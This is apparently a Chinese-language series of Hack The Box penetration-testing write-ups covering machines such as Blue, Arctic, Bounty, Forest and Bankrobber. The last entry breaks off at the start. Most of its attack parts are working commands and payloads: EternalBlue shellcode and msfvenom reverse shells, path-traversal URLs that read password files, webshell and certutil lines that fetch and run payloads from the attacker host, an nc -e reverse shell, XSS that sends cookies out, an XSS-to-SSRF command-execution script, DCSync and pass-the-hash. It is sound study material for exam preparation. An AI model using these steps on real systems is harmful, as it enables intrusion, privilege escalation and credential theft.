1.Blue
信息收集:

根据靶场名称一系列的 基本上能确定就是永恒之蓝了
但是我不能使用msf获取 虽然msf很方便
于是我开始找利用工具 exploitdb和github上都是 但缺点是都难以利用 github上的作者说了python2是没问题的 python3可能无法运行
然后就是配置python2的环境 这个环境非常麻烦
1
2
3
4
5
6
7
8
9
10
| python2 -m pip install --upgrade setuptools wheel
python2 -m pip install pyasn1 pycryptodomex ldap3
python2 -m pip install pyOpenSSL==20.0.1
python2 -m pip install pyasn1 pyasn1_modules pycryptodomex pyOpenSSL==20.0.1 ldap3
python2 -m pip install impacket --no-deps --ignore-installed
#如果上面的最后一步无法安装就运行下面的
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python2 setup.py install
|
https://github.com/worawit/MS17-010
上面是项目地址 我参考了很多文档 将项目下载到kali
在shellcode文件夹中 有一些文件 其中重要的是 eternalblue_sc_merge.py 文件
根据eternalblue_sc_merge.py 文件的教程 生成通用的shellcode 实际上blue靶机是x64的 但还是生成一个通用的吧
1
2
3
4
5
6
7
8
| nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin
msfvenom -p windows/x64/shell/reverse_tcp EXITFUNC=thread lhost=192.168.1.10 lport=4443 -f raw -o sc_x64_msf.bin
msfvenom -p windows/shell/reverse_tcp EXITFUNC=thread LHOST=192.168.1.100 LPORT=4444 -f raw -o sc_x86_msf.bin
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
python eternalblue_exploit7.py 192.168.1.100 sc_all.bin
|
生成完 sc_all.bin 最后一步就是发起攻击 监听可以用msfconsole 但是实际上还是想用netcat 所以此处是可以用msfconsole监听的 至此可能已经完结 oscp要求不能使用msf攻击 但是监听应该不会出大问题 但是为了严谨 还是走一下纯netcat

上面的方法nc无法捕获
优化后的项目 https://github.com/3ndG4me/AutoBlue-MS17-010/
读了项目的issue 作者已经优化了这个程序在18年的时候

但是实际上我在这里浪费了很多时间 他根本没优化好 我还一直在测试
回到最初的github的项目 https://github.com/worawit/MS17-010
1
2
3
4
5
6
7
8
| nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin
msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3333
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
python eternalblue_exploit7.py 192.168.1.100 sc_all.bin
|
其实只用改一下msfvenom生成payload的模块就行
但是在 https://github.com/3ndG4me/AutoBlue-MS17-010/ 优化后的项目中生成的payload一直有问题 读了下 shell_prep.sh 后续输入两个1 1 其实就跟上述代码没什么区别 但就是有问题 所以这个项目暂时搁置吧
最终改好的命令成功弹回了shell


进去就是system 在用户和administrators的桌面上就有flag 到此结束
下面是参考的博客 感觉挺有帮助的 虽然永恒之蓝是最基本初学者就要学的 但是基本上没去了解底层原理 并且 只会用msfconsole去攻击 这次利用了python脚本 感觉确实不一样
https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/
https://github.com/a6avind/MS17-010/blob/master/README.md
https://github.com/3ndG4me/AutoBlue-MS17-010/issues/2
https://github.com/3ndG4me/AutoBlue-MS17-010/issues/5
2.Arctic
信息收集:

rpc没找到能利用的漏洞 看了下8500端口的服务 看到了框架和版本 Adobe ColdFusion 8

开始google就行 任意文件读取漏洞
http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../Windows/win.ini%00en

读密码
http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en


密码也有了 权限更大 这时去找一下rce的exp
https://www.exploit-db.com/exploits/50057
这个一眼就是根据这个靶场来写的exp 非常相似 21年写的 相当于wp了

执行了之后也是拿到了shell
但是目前我只能搜到这个exp 但是读了下代码非常简单 文件上传接口有未授权 发包传了个jsp上去 然后开线程一个监听一个访问jsp 就会反弹shell回来
接下来开始提权 提权之前开始收集信息 只要获取到systeminfo就能利用下面的脚本
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
这个脚本也遇到点问题 限制版本就解决了
pip2 install xlrd==1.2.0

有很多提权漏洞 随便找一个就行
我找到了这个github的网站
https://github.com/SecWiki/windows-kernel-exploits
挨个试了之后发现 MS10-059 是可以用的 将MS10-059.exe 下载下来传到windows靶机上

certutil -urlcache -split -f http://10.10.16.3:33333/Arctic/MS10-059.exe .\MS10-059.exe
根据教程MS10-059.exe的教程 运行
MS10-059.exe 10.10.16.3 5555
nc-lvnp 5555
这样就行了

结束 目前打的两个靶场估计都是熟悉一下最基本的windows渗透操作 后面估计会越来越难
3.Bounty
信息收集:

只开了一个端口 打开只有一张图片 和提示了一下用的iis7 实际上也确实是iis7


之后开始目录爆破 同时查看图片是否有隐写等等信息泄露
后续没看到图片有什么
经过爆破找到了一个文件夹和一个接口

这个接口可以上传文件 但貌似是白名单 导致很多文件传不上去

1355表示上传失败 尝试了很多绕过和iis7.0 甚至不是7.0的文件解析漏洞
但都行不懂 这里确实触及到我的盲区了 看了下一步的wp
提示我们需要去爆破后缀 我找到了一个月前放到kali的字典
/usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-extensions.txt
这里爆出了除了常规的外 后缀为config的是可以上传的

https://github.com/tennc/webshell/blob/master/aspx/web.config
找到了个getshell的方法 虽然我并没有学过.net 但是这个文件还是一眼能看懂用法

访问接口 ?cmd=dir 传参就行
传上去之后访问 http://10.10.10.93/UploadedFiles/web.config?cmd=whoami

先读flag吧 http://10.10.10.93/UploadedFiles/web.config?cmd=type%20c:\users\merlin\Desktop\user.txt
然后尝试获得交互式shell 传上去了个nc 失败了

还是简单点吧 传个msfvenom生成的后门 拼接命令
1
2
| msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666
http://10.10.10.93/UploadedFiles/web.config?cmd=certutil%20-urlcache%20-split%20-f%20http://10.10.16.3:33333/Bounty/shell.exe%20c:\users\merlin\shell.exe
|

成功了 刚刚其他反弹shell的方法都没咋找到 找到的也不行 看来以后反弹shell离不开msfvenom了
还是先systeminfo

ms10-059还是能用 再试试看

结束
提权还是跟之前刚学的一样 如果存在直接用就行了 getshell的部分 因为我对aspx不是很了解 我一直在尝试iis的解析漏洞 上传绕过等等一系列的 完全走偏了 没有搜到web.config这个利用 后续了解了这个利用之后 就方便很多了 刚开始学windows靶机 这个难度还算可以的了
4.Jerry
信息收集:


目录爆破没东西

tomcat版本也有

找到了对应版本的payload 失败了 手动也不行

字典爆破manager吧
https://blog.csdn.net/m0_53008479/article/details/124865806


tomcat:s3cret
登陆成功 到了后台

1
2
| msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw > ft.jsp
jar cvf ft.war ft.jsp
|
传上去就行

访问 http://10.10.10.95:8080/ft/ft.jsp
反弹回来为system权限
找到 C:\Users\Administrator\Desktop\flags 目录

两个flag都在里面 这个靶场主要也是熟悉一下操作吧
5.Conceal

这个靶场被定义为难 有很多人觉得难度在中等往上 来看看吧
信息收集:


只有udp的端口开着的 一直保持着扫udp确实是一个好习惯
https://refabr1k.gitbook.io/oscp/info-gathering/snmp
这个里面介绍了针对snmp的一些渗透方式 但都是一些简单的枚举 信息泄露吧


看起来确实没什么用
后续尝试了大量的exploit都不行 但是我发现一个奇怪的点
snmpwalk -c public -v1 10.10.10.116
这一行是有一个ike vpn password存在的 udp的500端口我虽然没见过 但是这个IKE我是比较熟悉的 当时学习的时候将openvpn IKE FRP 这三种进内网的方法我都试了下


因为我几乎打了我能找到的所有exp 可能还存在遗漏 甚至snmp有个ms06-074我都找到了
目前只有针对IKE渗透了 我感觉他就是在说 用这个密码去连
关于isakmp这个服务 我找到了下面这个博客
https://book.hacktricks.xyz/cn/network-services-pentesting/ipsec-ike-vpn-pentesting
这篇文章全面的解释了这个服务 也告诉了大量的利用方法
接下来按照他的教程挨个走

如您在之前的回复中所见,有一个字段叫做 AUTH,其值为 PSK。这意味着 VPN 是使用预共享密钥配置的(这对渗透测试人员来说非常好)。 最后一行的值也非常重要:
- 1 returned handshake; 0 returned notify: 这意味着 目标已配置为 IPsec,并愿意进行 IKE 协商,您提议的一个或多个变换是可接受的(有效的变换将在输出中显示)。

我可能没找到供应商
while read line; do (echo “Found ID: $line” && ike-scan -M -A -n $line 10.10.10.116) | grep -B14 “1 returned handshake” | grep “Found ID:”; done < /usr/share/wordlists/SecLists-master/Miscellaneous/ike-groupid.txt
这一步是找组名ID
但是我并没有找到组名 可能是字典不够强大 期间我一直在搜索如何去连接ike vpn 但是没有任何博客能告诉我答案 唯一的就是上面的那个博客 他告诉我的需要组名ID PSK 实际上我已经有PSK了 然后他要做的就是放入组名和PSK 再找一个用户名字典和密码字典进行爆破 最后获得了组名 用户名 密码 PSK密钥 才能进行连接 太麻烦了 而且我觉得不太现实 更何况组名都无法爆破出来
这里我看了下一步的wp 我才发现我目前没有任何问题 获得PSK密钥其实就已经可以去连接了 只是我一直没找到合适的工具 合适的方法 这里我并没有去看他使用的是什么工具 虽然我刚刚搜了半天连接方法啥都没搜出来

至少能确定我没有走错路就行
最后还是找到了

找到了教程我参考了大量大量的博客 这个配置文件太上头了

重新回到过去 找到了他的算法 是3DES 从这个博客找到了3DES应该配置成什么样子
https://wiki.strongswan.org/issues/2666

获取到了两个重要的配置 当然其他配置也得一条一条来
接着尝试看看能不能连 能连就不看其他配置了

还是失败了 一直连接中
还是挨个看 版本可能有问题

google一下找到了参数

改成了1就好了

现在测测看看能不能连

还是报错 接着看其他参数
https://wiki.strongswan.org/projects/strongswan/wiki/connsection
这个博客介绍了所有参数 在此我找到了一个关键点 因为这个地方我没设置导致我一直无法去连接

left|rightsubnet是可以选择协议的 默认是TCP/UDP 导致我无法连接 因为他的UDP已经开放了 就是这样的一个逻辑 我要进行连接只能是TCP 至此全部完善 已经能连上了
流程如下
apt-get install strongswan libcharon-extra-plugins
修改下面的配置文件
vim /etc/ipsec.secrets
1
2
3
4
5
6
| # This file holds shared secrets or RSA private keys for authentication.
# RSA private key for this host, authenticating it to any other host
# which knows the public part.
: PSK "Dudecake1!"
|
vim /etc/ipsec.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # ipsec.conf - strongSwan IPsec configuration file
# basic configuration
config setup
charondebug="all"
uniqueids=yes
strictcrlpolicy=no
conn test
authby=secret
auto=add
ike=3des-sha1-modp1024!
esp=3des-sha1!
type=transport
keyexchange=ikev1
left=10.10.16.3
right=10.10.10.116
rightsubnet=10.10.10.116[tcp]
|
ipsec restart
ipsec status
ipsec up test

这样就行了 这一部分参考的博客有用的大概就是下面这几个
https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/
https://help.clouding.io/hc/en-us/articles/11453622632220-How-to-Install-and-Configure-strongSwan-on-Debian-Ubuntu-IPsec-Only
https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/
https://ericfu.me/debian-strongswan-ikev2-vpn/#strongswan-%E9%85%8D%E7%BD%AE
https://wiki.strongswan.org/projects/strongswan/wiki/connsection
https://wiki.strongswan.org/issues/2666
https://blog.imkasen.com/strongswan-config/
终于进去了 可以扫一下TCP了 目前之前发现过几个端口 还是再扫一下吧

出结果了 但是必须要要TCP扫描 因为我们只连了TCP
ftp匿名没有任何东西

80端口扫到一个upload文件夹

smb服务连不上

ftp和http的upload文件夹 很显然 ftp就是http的目录 当然还得验证一下

果然ftp传了个1.txt upload里面就有 现在得看看后端是什么 一般好像是asp或者aspx 挨个试试吧

aspx失败

asp也失败了
asp 换了个shell就好了
https://github.com/tennc/webshell/blob/master/asp/webshell.asp

就是很奇怪msfvenom的asp后门为什么失败

生成后门
拼接命令
certutil -urlcache -split -f http://10.10.16.3:33333/Conceal/shell.exe \Users\Destitute\1.exe && start \Users\Destitute\1.exe

反弹成功

拿到了shell
开始提权 但是很可惜的是我对于windows的提权并不是特别了解 目前只学了systeminfo的一种方法

能试的我都试了
所以我试了很多提权 发现烂土豆提权貌似很适合当前这个靶场
whoami /priv
这属于常规提权的一种 不能光打靶场学习 有空还是得多看看windows提权

使用还是很简单的

但是老是失败 无法使用 换JuicyPotato吧
项目地址:https://github.com/ohpe/juicy-potato/releases/tag/v0.1
nc地址:https://eternallybored.org/misc/netcat/
全上传到靶机
1
2
| certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/jp.exe \Users\Destitute\jp.exe
certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/nc64.exe \Users\Destitute\nc64.exe
|
接下来准备其他文件
1
2
3
4
5
6
7
| #创建反弹shell的bat文件 nc64改成绝对路径
echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.3 5555 > shell.bat
# https://github.com/ohpe/juicy-potato/tree/master/CLSID 找对应的CLSID
# https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_10_Enterprise/CLSID.list 我找的是最下面的一个
# -l 随便找一个没占用的端口就行
.\jp.exe -t t -p .\shell.bat -l 1118 -c "{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}"
nc -lvnp 5555
|

结束
这个靶场受益良多 最难的点我觉得在于ipsec的配置 配置了非常久 非常难搞
其次烂土豆提权 我没咋接触过windows的常规提权 不过现在记住了
6.Chatterbox
信息收集:




常规的smb连不上 nmap提示了9255和9256两个服务的信息

google了解一下这是什么服务

还是能搜到exp的
可惜的是kali上的exp 我尝试了很多遍 一直不行 可能是生成payload的方式有问题
还好找到了一个github的项目
https://github.com/mpgn/AChat-Reverse-TCP-Exploit
这个exp还是有点问题 他拿到的是msf的shell 还是得改一下 其实上面kali的那个exp已经给了生成方式 但是我想加LHOST和LPORT 加上去就报错 或者 失败 再基于这个github上的payload改一下就行
msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp RHOST=10.10.10.74 LHOST=10.10.16.3 LPORT=6666 exitfunc=thread -e x86/unicode_mixed -b ‘\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff’ BufferRegister=EAX -f python
这样就行 替换exp里的buf就行

shell

开始提权 systeminfo一下 烂土豆貌似还是存在的


并没有开启
但是我们可以去到administrator目录下 去找到root.txt文件
但是当访问时会提示权限不够 这时候 dir /q 就会发现这个文件是当前用户的权限的 只要给他赋予可读权限就行
可以参考这个: https://blog.csdn.net/senge_com/article/details/134508668
cacls root.txt /p everyone:f /e /t

结束 但是目前还是没有提权到administrator
开始翻wp吧 都翻一遍 毕竟windows提权算是比较薄弱的部分了
貌似都是这条路 目前还是没收集到 类似于linux的linenum之类的信息收集脚本 可能是全部要手动?
7.Forest
信息收集:


挨个来吧
domain dns

默认无共享

仔细看看 发现这其实就是个域控
======================================================
此处省略5天
======================================================
5天恶补了一下域渗透 基本逻辑常见漏洞全部了解复现了 在我另一篇文章有记录的
在几天前 当时不是太了解域的时候看了一篇wp 他是这么说的

他超出了oscp的考试范围 如果这个靶场有人能直接拿下 那么oscp的域渗透基本没压力 这里他也提到了这个靶场更多的是练习 所以这个靶场我会结合自己的思路 行不通我会去看wp 直到掌握这些
从这里开始 我之前访问了域控的dns smb 都没什么信息 主要是信息收集没做好 既然知道了目标是域控 首先要拿的就是域控的主机名 它可以得出域控的计算机账户名 当然是默认情况下 然后就是域名 这几个我之前没有拿到
如下:

从ldap入手
1
2
3
| 这两条是收集的方法 具体参数需要查询
nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>
ldapsearch -x -h <ip> -s base
|
1
| nmap -n -sV -sU --script "ldap* and not brute" -p 389 10.10.10.161
|


1
| ldapsearch -x -H ldap://10.10.10.161:389 -s base
|

1
| ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local
|

这里https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-ldap提到了一个方法 就是在匿名的情况下 去提取信息

1
| ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local "(objectClass=person)" "*" +
|
https://stackoverflow.com/questions/508014/active-directory-ldap-query-by-samaccountname-and-domain
这个网址提到了其他参数 研究了一下 其实这里就是一个筛选器 刚刚不是请求到了很多信息吗 需要一个筛选器来进行筛选
1
| ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local "(objectCategory=person)" | grep sAMAccountName
|
筛出了具体名称

查找用户名还有几种方法


一个没见过的服务账号

1
2
| GetNPUsers.py htb.local/svc-alfresco -format hashcat -outputfile foresthash.txt
GetNPUsers.py htb.local/ -usersfile user1.txt -format hashcat -outputfile foresthash.txt
|

拿到了TGT 先跑一下密码吧

1
| hashcat -m 18200 1.txt /usr/share/wordlists/rockyou.txt
|

这一步结束了 我并不知道后续该如何获得shell 因为在我之前的利用中基本上都只有administrator 或者提权才能上去
按照之前学的挨个试试吧

提示我们貌似可以

结果置空的时候卡死了
这里了解到了一个新技巧

挨个试试吧
1
| crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice
|

可以连上
1
| evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
|

连上了 就是有点卡 做做信息收集

获得的信息貌似没什么重要的 在域外已经拿到很多了
从wp得知要用Bloodhound 来看看是否有可利用的路径 在学习域渗透的时候 我已经安装好了 要安装的话 网上方法特别多
我这里直接启动了 在使用之前
我收集了到一个在windows处类似于linux中 LinEnum.sh这种信息收集工具
https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855
我传了上去 但是并没有拿到什么信息

接下来开始使用bloodhound
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/
有powershell和exe的版本 我选择了exe版本 将它传上去


将文件传入windows我用的是certutil 传出来在这里我学到了一个新方法
1
2
| python D:\python3.9\Scripts\smbserver.py win10 . -smb2support
copy .\20241124052634_BloodHound.zip \\10.10.16.6\win10\smbserver
|


将文件拖入程序 就会自动加载了
左上角搜索SVC-ALFRESCO 会弹窗

点开标记这个user为当前所有者

再次转到屏幕左上角,在查询选项卡中 Analysis –>shortest path from Owned Principals

查询出来了 这里我只能看明白 当前我们的用户 在这三个组里 我去google了下
service account 服务账号组
privileged account 特权账户组
以及

并且下面还有几个博客教如何利用

才发现是自己漏学了 当时把约束委派和非约束委派搞完了 剩下一个基于资源的约束委派没搞 刚好这个靶场 能让我补齐这一块 就按照教程来吧 参考https://cloud.tencent.com/developer/article/1937695
域内有一个exchange服务器 这里选择

1
2
3
| net group "Exchange Trusted Subsystem" svc-alfresco /add /domain
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIde svc-alfresco -Rights DCSync -Verbose
|

这个博客里的方法还是失败了 他的方法是将当前用户加入到Exchange Trusted Subsystem组中
然后给这个用户加一个DCSync的权限 他也提到了必须要重新登录让ACL重新加载一下 但是我并不清楚该如何给他重新加载 这里就卡死了 这个靶场作为学习的目的 我又去看了眼wp
看清楚了他的逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| 1.创建一个域账户 #我们目前是有这个权限的
net user testuser1 password /add /domain
2.给他加入Exchange Trusted Subsystem组 这个也没问题
net group "Exchange Trusted Subsystem" testuser1 /add /domain
3.关键在这一步 用ACL给他加一个DCSync权限
$pass = convertto-securestring 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\testuser1', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity testuser1 -Rights DCSync
这里的操作是用testuser1给自己加上DCSync权限 我刚刚可能失败的原因是因为我给服务账户本身加权
这种方式在windows里可能不允许 也可能是我需要注销或者重新登录? 但是我明明用了很多winrm服务
而这一步我在很多博客里都没看到 基本上就是
Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIde svc-alfresco -Rights DCSync
并且我尝试就用svc-alfresco这个账户 然后使用Add-DomainObjectAcl给testuser1加权 直接报错
|
如下图 不成功

后续想了下 主要是也是因为只给了创建用户的权限 也没给加权的权限 当我们创建了一个普通域账户 这个号是没问题 把他加到Exchange Trusted Subsystem组 他再给自己加权 这样理解就很通顺了 同时我去找claude验证我的猜想

如下图

直接PTH就行了
1
2
| aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
PsExec.exe [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
|

结束!
这个靶场正如我刚开始打的时候所说 基本上做学习使用 我在补域渗透的时候 基本上都是在本地搭的环境 学的太多有点混乱 这个靶场后面的基于资源的约束委派我没接触过 前面的基本上有所了解 但都是广而不精 在这个靶场算是做到了把我学的稍微巩固了 只能说还得多练习
8.Bankrobber

这里已经有了一个不好的预感了
信息收集:


smb无匿名用户

指纹

一个虚拟货币的交易平台

貌似找到了框架

发现:


可能存在越权

跟他说的一样 只能在本地访问 并且根据上面的信息 他还将xmapp里的东西移到了TODO


信息收集基本上就是上面这些 现在开始渗透

在user这个接口处 id绝对是有问题的 有一个越权 但是这里并没有 就是信息之类的 所以这里的越权貌似是没什么用 其次他的凭证就是跟上面一样 将你的username和password以及id放入cookie
/admin 貌似是管理员界面 但是我进行爆破的时候 还是一直提示权限不够
/phpmyadmin 处 已知他只允许了localhost访问 我在配置xff等 还是无法绕过
貌似以及没什么地方可利用的 但是值得一提的是 httponly为空 所以可以用xss拿到cookie


在这里请求了之后 它会提示 管理员会在一分钟内查看他 感觉这里大概率可能存在xss
主要是因为他没有回包 其次 上面的ID是可以尝试SQL注入的 但还是挨个来吧
1
2
| <script>location.href="http://10.10.16.29:33333/cookie.php?cookie="+document.cookie</script>
ncat -lvnp 33333
|

很可惜 没接收到
尝试SQL注入 但是好像这些参数 都并没有访问数据库 因为提到了要管理员审核
重新尝试多种XSS
1
2
3
4
5
6
| <script src="http://10.10.16.29:33333/1.js"></script>
<script>
document.write('<img src="http://10.10.16.29:33333/2.js">');
</script>
<img src="http://10.10.16.29:33333/3.js">
<script src="http://10.10.16.29:33333/4.js"></script>
|
一直不成功 但是根据提示来说 应该是这样操作的 后续看了很多其他东西 目录爆破的基本上都提示403权限不够 3306也需要本地访问 smb没有匿名登录 到这已经卡死了
还有一步就是https和http的网站里的东西可能有部分不一样 接着来看
可惜基本一致就是加了个ssl
这里卡死了 看了眼wp 终于发现问题在哪了

我没有认真看这里的参数
首先第一个数量 要少于我现在的900 不能大于900
第二个指定ID 1肯定是存在的 但是后面其他的存不存在 得去爆破cookie的那个id参数 这里填1绝对没问题
第三个才是xss
并且第二个可以从前端给他把number的限制删了 改成mail地址也没问题 而且上面四个payload都能用 全都没问题


网上找到了一个有效的payload

1
| <script>newImage().src="http://10.10.16.29:33333/cookie1.php?cookie="%2bdocument.cookie;</script>
|
收到了回包

1
| username=admin; password=Hopelessromantic; id=1
|

在后台有两个接口 一个用来查询信息 一个用来执行命令 怎么看都感觉下面可能存在命令注入

结果不让用 提示在本地才让用 并且加了xff也不行

查询着发现了可能存在sql注入

字符型sql注入
目前已知mysql我们是无法访问的 当然这是跟具体权限设置有关 过会可以读取 其次就是我们已经知道了xmapp移到了TODO目录 查看权限之后可能可以写shell
1
| -1' UNION SELECT 1,2,3 --+
|
找到了回显点

当前账户

secure_file_priv权限为空 说明可以写入任意文件 但是目前我们还得知道绝对路径
1
| -1' UNION SELECT 1,@@global.secure_file_priv,3 --+
|

到了这一步 也不想读取账户是否能远程登录的权限了 因为已经能写shell了 如果目标只有mysql服务 那么可能需要udf提权 但是他还是有一个php站点的 所以这里打算写shell 目前需要绝对路径
1
2
| -1';create user 'test'@'localhost' identified by '123456';--+
-1';grant all privileges on *.* to 'test'@'%' identified by '123456' with grant option;--+
|

成功上来了 并且具有管理员权限

权限没问题 如下图


数据库的路径为

根据提示 xampp换成TODO貌似就能解决

尝试读文件
1
2
3
| create table test(cmd text);
insert into test(cmd) values (load_file('C:\TODO\htdocs\notes.txt'));
update test set cmd=(load_file('C:\Windows\my.ini'));
|
最终尝试了很久 找到了一个疑似网站目录的地方 我尝试读取
1
| update test set cmd=(load_file('C:/xampp/htdocs/user/transfer.php'));
|

是能读取出来的 就代表这个文件存在 而当我使用
1
2
| update test set cmd=(load_file('C:/TODO/htdocs/user/transfer.php'));
update test set cmd=(load_file('C:/TODO/user/transfer.php'));
|
都会读取不出来 先尝试在xampp里写文件把

权限不够 所以这里卡死了 目前只能算拥有读取和写入文件的权限
udf提权也用不了 当 plugin 的值为空时不可提权 MaridaDB算是mysql的一个分支 但是我一直搜不到关于mariadb的

这里已经是死路了 目前还能尝试的就是php代码审计 以及读取root的密码撞库 smb依然访问不了

开始读代码 首先我尝试读admin目录里的 然后user里的 最后主页的index.php

先走能执行cmd的把 其次再走刚刚存在sql注入的页面

这个代码还是很好理解的 而且这里有system函数 我总感觉这里是突破口
第一个限制账号密码要正确 第二个验证传入cmd参数里没有$(和& 那这里其实可以用||绕过
第二个判断 需要看前三个字符是否为dir 用||其实就无所谓了
主要是第三个 $_SERVER[‘REMOTE_ADDR’] 要求是本地访问的 我这里找到的所有方法就是没有办法绕过 只能挂代理 来改变他的IP

依然没有成功
既然绕不过 那么就从这一步延伸 可能需要找一个ssrf 或者搭建隧道
search也没有什么东西

我开始回头 发现

也就是说 从来没有要移的目录 他只是一个提示 有xampp这目录 这里我完全完全卡死了 没有任何思路 mysql无法搭建隧道 smb我没有账号密码
直到我看了一眼wp 我完全忘了xss就是在本地被管理员触发的 这里能触发ssrf的
已知 C:/xampp/ 目录下可以写文件的 构造payload
1
| msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.29 LPORT=6666
|
1
2
3
4
5
| var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.setRequestHeader("Cookie","id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D");
httpRequest.send('cmd=dir | powershell -c "Invoke-RestMethod -Uri http://10.10.16.29:33333/shell.exe" -OutFile C:/xampp/shell.exe;start C:/xampp/shell.exe');
|
再触发一次就成功了 这里我卡的也有点久 还是没注意细节 看了半天才发现url处我一直用的http://localhost/ 没有加/admin/backdoorchecker.php 而且我要等他一直发起请求我才能验证哪有问题 结果就是卡了很久
但是结果是好的

传winPEASany.exe上去检查一下
密码都被删了

看端口的是否发现有个bankv2的

还是搭建隧道看看吧
1
2
3
4
5
6
7
8
9
| [common]
server_addr = 10.10.16.29
server_port = 7000
[mysql]
type = tcp
local_ip = 127.0.0.1
local_port = 910
remote_port = 6000
|
1
2
| [common]
bind_port = 7000
|
因为只用转发这一个端口 不用写代理 而且写完代理还很麻烦 就算了

成功了 但是要密码
写了个简单的脚本
1
2
3
4
5
6
| #!/bin/bash
for i in {0000..9999}
do
echo $i
echo $i | nc 127.0.0.1 6000
done
|

0021后面提示我们密码正确

这里它调用了transfer.exe这个工具 并且还是绝对路径
目前思路有四种: 一是如果能偷换这个exe 就能拿到shell 二是如果不是绝对路径 还能改环境变量 三是这个程序有备份或者能获取到 然后逆向 逆向太不现实 如果有源码的情况 审计看看有没有注入 四是拿到备份看看缓冲区溢出
一:无法替换 访问不了那个目录
二:绝对路径 没有办法
三:没有备份 find找了 只有transfer.php等文件
四:没有备份 但是能测一下
然后我想测缓冲区溢出的时候出现了神奇的一幕

貌似如果输入字母会被覆盖

果然是可以覆盖的 要找覆盖点 有点像缓冲区溢出 但是能看出来 不完全是
1
2
| 测试完发现32个字符刚好就能覆盖完 26个字母大小写 刚好能覆盖52个位置 其实能更快
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC:\xampp\shell.exe
|


结束
这个靶场耗费了我几个小时的时间 并且非常精彩 期间卡住了getshell的途中两次看了wp 但都是因为自身不够仔细才导致没有注意到的 因为linux方面的靶场打了很多 像这种通用方面的操作 实际上感觉还好 被评为很难级别的原因大概率我也觉得是需要的技术很广泛? 比如外网打点的XSS SQL注入 XSS+SSRF 获取shell 提权的端口转发 bash shell的编写以及一个类似于缓冲区溢出的操作 但是基本上没有不能理解的技术 后面还需要更仔细
9.SecNotes
信息收集:


1
2
3
4
| 三个都没有匿名登录
smbmap -H 10.10.10.97
smbclient -N -L //10.10.10.97
